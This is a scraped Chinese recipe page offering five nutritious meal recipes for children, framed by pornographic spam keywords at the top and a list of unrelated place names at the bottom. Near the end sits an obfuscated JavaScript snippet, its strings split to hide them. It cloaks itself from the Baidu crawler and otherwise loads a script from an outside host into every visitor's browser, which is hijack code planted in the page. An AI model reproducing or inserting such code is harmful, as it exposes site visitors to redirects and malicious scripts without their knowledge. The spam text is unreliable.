亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

三餐營養(yǎng)食譜有哪些

2017-07-12 14:23:07  來源:360常識網   熱度:
導語:兒童正在成長發(fā)育時期,這對許多家長們來說,孩子的飲食是重要的,因為許多家長還在煩惱孩子因為飲食方面不愛吃飯,挑食偏食的問題,讓很多

兒童正在成長發(fā)育時期,這對許多家長們來說,孩子的飲食是重要的,因為許多家長還在煩惱孩子因為飲食方面不愛吃飯,挑食偏食的問題,讓很多的孩子身體方面變得矮小,瘦弱,營養(yǎng)不均衡,所以孩子一日三餐營養(yǎng)搭配食譜是非常重要的,那么正確的搭配有哪些呢?

兒童營養(yǎng)食譜

你在為兒童的餐飲而煩惱嗎?你在為兒童的營養(yǎng)而煩惱嗎?小編給你帶來幾款新鮮開胃的兒童飲食食譜,準保吃得開心,吃得健康。

1、蛋黃菠菜土豆泥

原料:土豆100克、熟雞蛋黃10克、菠菜25克、鹽少許。

做法:

1、將土豆去皮,洗凈,切成小塊,放入鍋內,加入適量的水煮爛,用湯匙搗成泥狀。

2、將熟雞蛋黃捻碎。

3、菠菜洗干凈,用水煮后,切碎,用紗布過濾其汁。

4、將土豆泥盛入小盤內,加入菜汁、熟雞蛋黃和鹽,攪拌均勻后即可食用。

2、牛奶蛋花麥片粥

原料:牛奶250毫升、麥片25克、雞蛋1個。

做法:

1、將牛奶放入鍋內煮開。雞蛋磕開打散。

2、加入麥片攪動至變稠。

3、淋入蛋液,待開鍋即可食用。

3、奶酪三明治

原料:面包片2片、奶酪1片、火腿片1片、千島醬適量。

做法:

1、將面包片的硬邊切去。

2、在兩片面包片中間夾上奶酪及火腿。

3、面包片、奶酪、火腿片之間抹上千島醬即可食用。

營養(yǎng)筆記:奶酪是牛奶“濃縮”的精華,1公斤奶酪等于濃縮10公斤牛奶的精華。奶酪中有豐富的蛋白質、B族維生素、鈣和多種有利于人體的微量營養(yǎng)成分。是最有營養(yǎng)價值的奶制品。奶酪適合于成長發(fā)育旺盛的兒童和青少年、孕婦、更年期女性以及需要補充體力的人食用。

4、番茄沙丁魚丸

原料:沙丁魚150克、雞蛋30克、淀粉15克、植物油、切碎的番茄、肉湯、番茄醬各適量。

做法:

1、沙丁魚洗凈后去皮、去刺,放入碗中研碎。

2、加入雞蛋和淀粉混合,做成丸子后放入油鍋內炸。

3、把番茄放入肉湯內煮,加入番茄醬調味,再將炸好的肉丸子放入肉湯內煮沸即可食用。

5、菜心蛋花湯

原料:菜心50克、雞蛋25克、肉湯、鹽各適量。

做法:

1、菜心洗凈切段,雞蛋磕開打散。

2、肉湯加適量水燒開,放入菜心及少量鹽,待水開后略煮一會兒,淋入蛋液,水開后即可食用。

想要讓兒童吃飯吃的開心吃的健康,首先就要根據家長根據孩子的愛好來判斷了,比如說孩子在營養(yǎng)成分的食物攝入上應該多喝一些牛奶,奶酪,火腿腸等等的搭配均勻,如果飲食搭配不均勻的話,孩子也容易發(fā)胖或是營養(yǎng)過剩。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
任丘市| 九龙城区| 墨脱县| 济阳县| 分宜县| 洪湖市| 营口市| 昌吉市| 灵武市| 高碑店市| 衡山县| 奉新县| 佛学| 莆田市| 于都县| 札达县| 内黄县| 乌拉特中旗| 青州市| 普格县| 晋宁县| 赤峰市| 衡阳市| 扬中市| 无棣县| 肇州县| 左贡县| 张掖市| 宁城县| 赤水市| 西峡县| 西贡区| 安西县| 嵊泗县| 景泰县| 刚察县| 耿马| 达日县| 红河县| 杂多县| 繁昌县|